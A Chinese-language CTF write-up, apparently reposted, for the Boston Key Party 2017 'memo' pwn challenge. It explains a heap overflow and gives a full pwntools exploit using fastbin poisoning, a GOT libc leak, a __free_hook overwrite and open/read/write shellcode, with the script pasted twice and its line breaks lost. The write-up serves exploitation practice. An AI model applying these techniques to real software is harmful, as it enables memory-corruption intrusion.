bosten key party 2017 memo writeup

来源:互联网 发布:西班牙手机网络 编辑:程序博客网 时间:2024/06/08 17:01

memo

题目

https://github.com/ctfs/write-ups-2017/tree/master/boston-key-party-2017/pwn/memo-300

分析

题目有些生硬,很多地方都不太能说通,不过就是练习一下,就当刷水题了。

逻辑

  1. setvbuf等基本操作,以及使用prctl设置了no new privs,所以无法新建进程
  2. 输入用户密码,密码可以不写,全局变量name和password分别保留用户和密码,分别0x20大小
  3. 之后进入主要逻辑一共6个功能
    i. leave message 涉及到两个全局变量,size和memo,memo紧跟在size之后,size紧跟在password之后,size大小0x10,memo大小0x20。 size是int类型数组,一共有4个int,每一个表示0到3个message的大小。 memo一共有4个指针,每一个表示message的具体位置。 leave message有两种情况,一个是0x20大小以内,直接malloc该大小,并且在size数组中保存,存进memo里,另一个是0x20大小以上,malloc 0x20大小,然后使用read读取size大小,之后全局变量index保存为这次创建的index。
    ii. edit message,更改全局变量memo中全局变量index所在指针指向位置的内容,大小为size中index的值
    iii. view memo 查看某个index的memo内容
    vi. delete memo 删除某个index的memo内容,直接free,并且将memo数组中该位置设置为0,删除前先判断
    v. change password 更改密码内容

开启的保护主要是 NX, FULL RELRO, 没有开启PIE

漏洞

  1. leave message位置,如果大于0x20,read时候读取的还是size,size此时大于0x20,存在溢出。
  2. 有一个隐藏函数,位于0x400b47,会执行输入的内容

利用分析

溢出的自由度比较大,利用也比较简单。
大概步骤是
1. password设置最后位置为0x31,由于password和size紧邻,用来通过fastbin 分配的check
2. 利用溢出,修改fd指针到password写入0x31的位置,然后分配出指向size位置的chunk
3. 修改memo位置的指针,指向任意一个GOT表中的指针,然后利用view来获取地址,得到libc基地址
4. 再次修改memo位置指针,指向__free_hook,然后通过edit来修改__free_hook指向隐藏函数
5. 通过shellcode完成open read 和write得到flag

题目比较简单,我就直接给exp了

exp

from pwn import *context(os='linux', arch='amd64', log_level='debug')DEBUG = 1GDB = 1if DEBUG:    p = process("./memo")    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")shellcode = '''mov rax, 0x2mov rdi, 0x41410100xor rsi, rsisyscallmov rdi, raxmov rsi, 0x602000mov rdx, 0x100xor rax, raxsyscallmov rax, 1mov rdi, 1mov rsi, 0x602000mov rdx, 0x100syscall'''def init_all(name, password):    p.recvuntil('name:')    p.sendline(name)    p.recvuntil('(y/n)')    if password is not None:        p.sendline('y')        p.recvuntil('Password:')        p.sendline(password)    else:        p.sendline('n')def leave_message(index, msg):    p.recvuntil('>>')    p.sendline('1')    p.recvuntil('Index:')    p.sendline(str(index))    p.recvuntil('Length:')    length = len(msg)    p.sendline(str(length))    if length <= 0x20:        p.recvuntil('Message:')        p.send(msg)    else:        p.recvuntil('though')        p.send(msg)def edit_message(msg):    p.recvuntil('>>')    p.sendline('2')    p.recvuntil('message:')    p.sendline(msg)    p.recvuntil('edited message!\n')    ret = p.recvline()[:-1]    return retdef view_memo(index):    p.recvuntil('>>')    p.sendline('3')    p.recvuntil('Index:')    p.sendline(str(index))    p.recvuntil('Message: ')    ret = p.recvline()[:-1]    return retdef delete_memo(index):    p.recvuntil('>>')    p.sendline('4')    p.recvuntil('Index:')    p.sendline(str(index))def change_password(orig_pass, new_name, new_pass):    p.recvuntil('>>')    p.sendline('5')    p.recvuntil('Password:')    p.sendline(orig_pass)    p.recvuntil('name:')    p.sendline(new_name)    p.recvuntil('password:')    p.sendline(new_pass)def main():    if GDB:        raw_input()    init_all('a', p64(0x31).rjust(0x20, '\x00'))    leave_message(1, 'c' * 0x20) # 1    heap_base = u64(edit_message('a').ljust(8, '\x00'))    log.info('heap base address {}'.format(hex(heap_base)))    leave_message(2, 'd' * 0x20) # 1, 2    leave_message(3, 'e' * 0x20) # 1, 2, 3    delete_memo(2) # 1, 3    delete_memo(1) # 3    password_addr = 0x602a40    size_addr = 0x602a60    changed_fd = password_addr + 0x10    leave_message(1, 'f' * 0x20 + p64(0) + p64(0x31) + p64(changed_fd)) # 1, 3    leave_message(2, 'g' * 0x20) # 1, 2, 3    free_at_got = 0x601f78    fake_message_head = p32(0x20) + p32(0x20) + p32(0x20) + p32(0x20)    log.info('this one should be in bss')    leave_message(0, fake_message_head + p64(size_addr) + p64(free_at_got)) # 0, 1, 2, 3    free_address = u64(view_memo(1).ljust(8, '\x00'))    log.info('free address at got is {}'.format(hex(free_address)))    libc_base = free_address - libc.symbols['free']    log.info('libc base is {}'.format(hex(libc_base)))    free_hook = libc_base + libc.symbols['__free_hook']    log.info('free hook is {}'.format(hex(free_hook)))    edit_message(fake_message_head + p64(free_hook) + p64(heap_base + 0x10))    hidden_func = 0x400b47    # editing __free_hook    edit_message(p64(hidden_func))    delete_memo(1)    p.send(asm(shellcode).ljust(0x100, '\x00') + 'flag\x00')    p.interactive()if __name__ == "__main__":    main()from pwn import *context(os='linux', arch='amd64', log_level='debug')DEBUG = 1GDB = 1if DEBUG:    p = process("./memo")    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")shellcode = '''mov rax, 0x2mov rdi, 0x41410100xor rsi, rsisyscallmov rdi, raxmov rsi, 0x602000mov rdx, 0x100xor rax, raxsyscallmov rax, 1mov rdi, 1mov rsi, 0x602000mov rdx, 0x100syscall'''def init_all(name, password):    p.recvuntil('name:')    p.sendline(name)    p.recvuntil('(y/n)')    if password is not None:        p.sendline('y')        p.recvuntil('Password:')        p.sendline(password)    else:        p.sendline('n')def leave_message(index, msg):    p.recvuntil('>>')    p.sendline('1')    p.recvuntil('Index:')    p.sendline(str(index))    p.recvuntil('Length:')    length = len(msg)    p.sendline(str(length))    if length <= 0x20:        p.recvuntil('Message:')        p.send(msg)    else:        p.recvuntil('though')        p.send(msg)def edit_message(msg):    p.recvuntil('>>')    p.sendline('2')    p.recvuntil('message:')    p.sendline(msg)    p.recvuntil('edited message!\n')    ret = p.recvline()[:-1]    return retdef view_memo(index):    p.recvuntil('>>')    p.sendline('3')    p.recvuntil('Index:')    p.sendline(str(index))    p.recvuntil('Message: ')    ret = p.recvline()[:-1]    return retdef delete_memo(index):    p.recvuntil('>>')    p.sendline('4')    p.recvuntil('Index:')    p.sendline(str(index))def change_password(orig_pass, new_name, new_pass):    p.recvuntil('>>')    p.sendline('5')    p.recvuntil('Password:')    p.sendline(orig_pass)    p.recvuntil('name:')    p.sendline(new_name)    p.recvuntil('password:')    p.sendline(new_pass)def main():    if GDB:        raw_input()    init_all('a', p64(0x31).rjust(0x20, '\x00'))    leave_message(1, 'c' * 0x20) # 1    heap_base = u64(edit_message('a').ljust(8, '\x00'))    log.info('heap base address {}'.format(hex(heap_base)))    leave_message(2, 'd' * 0x20) # 1, 2    leave_message(3, 'e' * 0x20) # 1, 2, 3    delete_memo(2) # 1, 3    delete_memo(1) # 3    password_addr = 0x602a40    size_addr = 0x602a60    changed_fd = password_addr + 0x10    leave_message(1, 'f' * 0x20 + p64(0) + p64(0x31) + p64(changed_fd)) # 1, 3    leave_message(2, 'g' * 0x20) # 1, 2, 3    free_at_got = 0x601f78    fake_message_head = p32(0x20) + p32(0x20) + p32(0x20) + p32(0x20)    log.info('this one should be in bss')    leave_message(0, fake_message_head + p64(size_addr) + p64(free_at_got)) # 0, 1, 2, 3    free_address = u64(view_memo(1).ljust(8, '\x00'))    log.info('free address at got is {}'.format(hex(free_address)))    libc_base = free_address - libc.symbols['free']    log.info('libc base is {}'.format(hex(libc_base)))    free_hook = libc_base + libc.symbols['__free_hook']    log.info('free hook is {}'.format(hex(free_hook)))    edit_message(fake_message_head + p64(free_hook) + p64(heap_base + 0x10))    hidden_func = 0x400b47    # editing __free_hook    edit_message(p64(hidden_func))    delete_memo(1)    p.send(asm(shellcode).ljust(0x100, '\x00') + 'flag\x00')    p.interactive()if __name__ == "__main__":    main()
原创粉丝点击